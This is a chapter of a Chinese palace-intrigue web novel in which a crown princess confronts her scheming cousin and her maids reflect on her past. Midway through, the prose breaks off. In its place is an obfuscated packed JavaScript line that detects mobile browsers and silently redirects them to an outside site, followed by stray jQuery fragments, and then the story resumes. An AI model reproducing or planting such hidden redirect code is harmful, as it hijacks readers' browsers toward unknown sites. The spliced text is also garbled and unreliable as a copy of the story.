4. 第4章
    待她前脚刚出了门,后脚就迎上了一个意料之中的人。

    虞向晴冷笑道:“东宫是菜市口不成?什么阿猫阿狗都能进?”

    她这话说的极不客气,直将对面那人气得憋红了脸,不过还是乖乖的行礼道:“虞冬晴见过太子妃娘娘,娘娘万福金安。”行完礼后,她舔着脸道,“大姐姐,我是特意前来恭贺你的。”

    虞向晴整理了一下袖口,气定神闲的问道:“说说本宫何喜之有?”

    虞冬晴凑近了些,低声道:“伯母月前诊出了喜脉,这难道不是天下头一桩的喜事?”

    虞向晴似笑非笑的看着她说道:“哦,原来是这事啊,我还以为是天下太平,海清河晏了呢。”

    “伯母若能一举得男,岂不比这些虚无缥缈的事更有意义,族里迟迟不将掌家之权交给伯父,不就因为他居于嫡长而无子吗?伯母若果真诞下嫡子,伯父的位子也稳了,姐姐的太子妃之位也就牢靠了。”虞冬晴看似十分好心的分析,不过是暗中警告虞向晴别搞事,此处节点若她跟太子因侧室的事儿而闹出什么风波来,虞氏必然不会站在她这一边。

    虞向晴似笑非笑的看着自己这个野心勃勃的堂妹道:“我爹当不成虞氏的宗子不正便宜了你爹嘛,至于将我娘怀孕的消息风风火火的特意传给我吗?还是说你此次进宫来有什么打算?”她敲了敲额头继续道,“让我想想。”

    虞向晴故作沉思状,忽然掀眸挑眉目光灼灼的看着虞冬晴,缓缓开口道:“怎么?还不死心呢?你也想在太子纳侧妃一事上分一杯羹?想想也是,太子侧妃有两个名额,他纳一个也是纳,纳两个也是纳,捎带上你也是顺手的事儿。”

    虞向晴一口戳破虞冬晴的心思,但见虞向晴一副擎等着看好戏的模样,虞冬晴心里这口气上不来下不去的。

    虞向晴见状又往她痛脚上踩了踩,继续道:“虞家嫡枝适婚的姑娘,除了你我还有二十几号人呢,你不妨拿出你的猪脑子来想想,为何我是太子妃而你虞冬晴却什么都不是。”

    虞冬晴心中的妒火一下子被点着了,她不由怒道:“得意什么?不过因为你父亲高居九卿之位,族里有意偏袒罢了,我虞冬晴又比你差哪了?”

    虞向晴似笑非笑的摇了摇头道:“我为太子妃是天家的意思,并非族中之意,你刚刚也说了族中连宗子的身份都不愿给我爹,怎么可能属意我为太子妃呢,再者说在天家御前,虞氏算个屁啊。”

    “你!你你……口出粗鄙之语!”虞冬晴恼羞成怒道!

    “再者,你虞冬晴算个屁啊,还有脸肖想侧妃之位。”虞向晴闲闲的叹了一口气道,“长点出息,不能你爹是小的,你是小的,你的目光就由此窄了去,看见什么都只知道抢小的。”她捂嘴偷笑一番道,“按你们的话来讲就是忒小家子气,虞氏也是败落了,怎么我后面的这些人只会争些侧妃妾室的?多可笑啊。”

    “虞向晴!”虞冬晴气急败坏的喊道,“住嘴。”

    “啧啧,这就恼羞成怒了?这才哪儿到哪儿啊。”虞向晴挥了挥帕子道,“没意思的紧,滚吧。好狗不挡道。”

    虞冬晴重重的喘了两口道:“伯父有本事为你争得太子妃之位,不代表他有本事兜得住你的胡作非为,家里让我来警告你,安安心心当个太子妃比什么都强。”

    虞向晴倏然一笑,没所谓的说道:“放心,诛我九族的时候一定忘不了你们。”

    虞冬晴冷不丁的打了个寒战,因为虞向晴一向敢说敢做,她不在乎任何人,任何事,娇纵跋扈的很。

    “这世上就没你在意的吗?”虞冬晴抿了抿发白的唇色说道。

    虞向晴摩挲着手中的莲花琉璃盏,玩味的笑道:“怎么没有?很多,比如我在天堂就有人适合下地狱,我在人间享福就有人适合水深火热,我在东宫当太子妃就有人气得在虞府挠痒痒,这些多有趣啊,每一桩我都爱的不行。”

    听她这么说虞冬晴瑟缩了一下,是真的怕了,她低下声来说道:“大姐姐,将你寄养在江南的是伯父伯母,我当时都还没有出生,又能左右些什么呢?您即便是恨也冤有头债有主,不能将刀口对准我们整个虞氏。”

    “你们那一大家子人不向来讲究同气连枝吗?一团和气的紧!怎么?有福可以同享,有难就不可以同当了?”虞向晴轻嘲道。

    虞冬晴一下子慌了神,她此次借着母亲给皇后请安的名头来东宫找虞向晴,所为不过两桩事儿,其一她欲在太子纳侧妃一事上有所钻营,其二族中虽然没养虞向晴几年,但深知她的性情,掐尖要强,秉性善妒,必不能容太子纳个宠爱至极的侧妃,所以叮嘱自己来东宫警告虞向晴一番,让她老老实实当她的太子妃,不要在东宫里作妖。但此刻两件事她都办砸了,虞向晴根本就是油盐不进的硬石头。

    虞冬晴口不择言道:“算命先生说的果然不错,你毒月离日出世,妨父妨母害家!”说完便不等虞向晴有所反应,忙扭头转身就跑。

    虞向晴胸口憋闷的不行,碧桃碧月一人手捧一个半尺长的青瓷瓶,一人手捧一匹细绢,快步向前异口同声道:“娘娘,您心中有什么不痛快的,便拿此物消遣一番,别闷坏了身子。”

    二姑娘真是不作人,明知道主子的生辰是虞府厌弃主子的原因,是主子一生的梦魇与诅咒,还乱拿出来嚼舌根。

    虞府是主子的死穴,每次与虞府的人打交道主子都会心绞痛一会儿,当年跟在朝安公子身边的神医说:“这是郁结之气无处消散堆积于心造成的。”没什么好法子,发泄出来即可。本来这些旧疾已经许久没有发作过了,今日这情形……哎。

    虞向晴摆了摆手,淡淡说道:“无妨,扶我去里间坐会儿便好,不要声张。”

    碧月碧桃只得听令行事,却是连碗安神汤都熬不了,主子不允的。主子一向要强,前脚传出来太子要纳侧妃,后脚主子就要汤要药的,显得主子跟故意争宠一样。

    两个贴身侍女不约而同的撇了撇嘴,除了朝安公子还有谁值得让主子花心思挂在心上。以后得多叮嘱叮嘱看院门的小太监,别什么阿猫阿狗都放进来,尤其是姓虞的,烂秧地里能结出什么好货来?没得看了堵心。

    她们静静的给虞向晴卸了妆,扶她在铺了软垫的贵妃榻上躺下,碧月性子温和,声线和缓,她拿出一本泛黄的《摩诃般若波罗蜜多心经》轻声读了起来。

    碧桃将一枚同心如意锦囊塞到虞向晴手里攥着,蓬莱殿虽然宫侍众多,可依旧安安静静的。

    虞向晴轻阖着眸假寐,试图将心中翻涌的情绪稳定下来,往事一幕幕浮现在她的脑海

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281880|151865||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,委屈,愤恨,不甘像飓风一般呼啸而来,连清宁悠远的佛音都无法将其消散,她眼睫微颤,眼角处湿润一片。

    忽然殿中飘来一股极其清淡的白檀香,还有一丝几不可察的海棠香,像极了那人身上的味道,清幽静谧。

    若黑潮般涌动的心绪瞬间褪去,只留满室的佛音。

    虞向晴渐渐睡去,半个时辰之后,碧桃碧月悄悄的退出内殿,在蓬莱殿的殿门处守着。

    碧桃道:“在院子门口多放两个我们的人才是,今日守门的老张拉肚子,恰这个夹空二姑娘便进了来,惹主子生这顿气。”

    碧月想了想回道:“那老张早不闹肚子晚不闹肚子,偏偏二姑娘来的时候他闹肚子,也是巧了。”

    “你怀疑老张是虞府那边的人?”碧桃瞬间炸了毛。

    “再看看吧,实在不行派去前殿做粗活。”碧月拍了拍她的手安抚道,她拿了个针线篓子出来,做些女红。

    碧桃仔细瞧了一会儿道:“绣得这样精细,给姑娘的?”

    碧月“嘘”了一声,压低声音道:“你再仔细看看,这是主子在南边时请的护身符,已经有些毛边开线了,主子舍不得丢,我拿来补救一番。”

    碧桃闻言叹了一口气,轻声道:“哎,主子是个念旧情的人,我记得……”

    碧月忽而严肃道:“你什么都不记得。”

    碧桃自知失言,忙吐了吐舌头,不再说话,这护身符是朝安公子在卧佛寺做居士时亲手给主子画的,又仔仔细细的包裹好送给主子的,而那日刚好是主子的生辰。如今仙人已逝,主子也嫁了人,前尘往事确实不该特意被提起,须知祸从口出。

    半晌后,碧桃开口道:“只管生,不管养的,主子还没出满月便被虞家送到了江南,这么多年来可费过一分的心思?怎么指使起主子做事来却那么理所当然,莫说是主子,就连我这心里都意难平的很。”

    “这话咱俩说说也就罢了,千万别去主子跟前拱火,我瞧着主子这两日安静的出奇,别是有什么要命的打算。”碧月心细如发,小声回道。

    碧桃闻言一怔,只兀自出了回神。

    到了晌午用膳的时候,久久没有音讯的太子殿下忽然传太子妃去前殿一道用膳,碧桃碧月如临大敌,一副心事重重的模样。

    虞向晴刚刚睡了一觉,这会儿心情正好,听完德旺的传话后,她点了点头道:“本宫知道了,会去的,午膳多加道西湖莼菜羹,清蒸鳜鱼,茶汤泡饭。”

    “是,娘娘。”德旺恭敬应下,转身走了。

    虞向晴看了一眼自己的贴身侍女,好笑道:“我是去前殿用膳,又不是去赴汤蹈火,你们这副表情是怎么回事?”

    碧桃碧月闻言费劲的挤出一丝笑容,说道:“主子,奴婢们为您梳妆。”

    虞向晴点了点头道:“要梳最好看的花髻。”

    碧桃碧月不疑有他,立马欣喜若狂的应了。

    待到出门时,虞向晴像是想起来什么似的,对碧月说道:“太子跟前规矩多,他素来吃饭磨叽,你又肠胃不好,禁不得饿,这次不用跟着了,让红药跟着我去前面吧。”

    红药是虞家的家生子,从来不在主子近前伺候,怎么今日?碧月有些不放心,奈何虞向晴坚持,她只好留在蓬莱殿。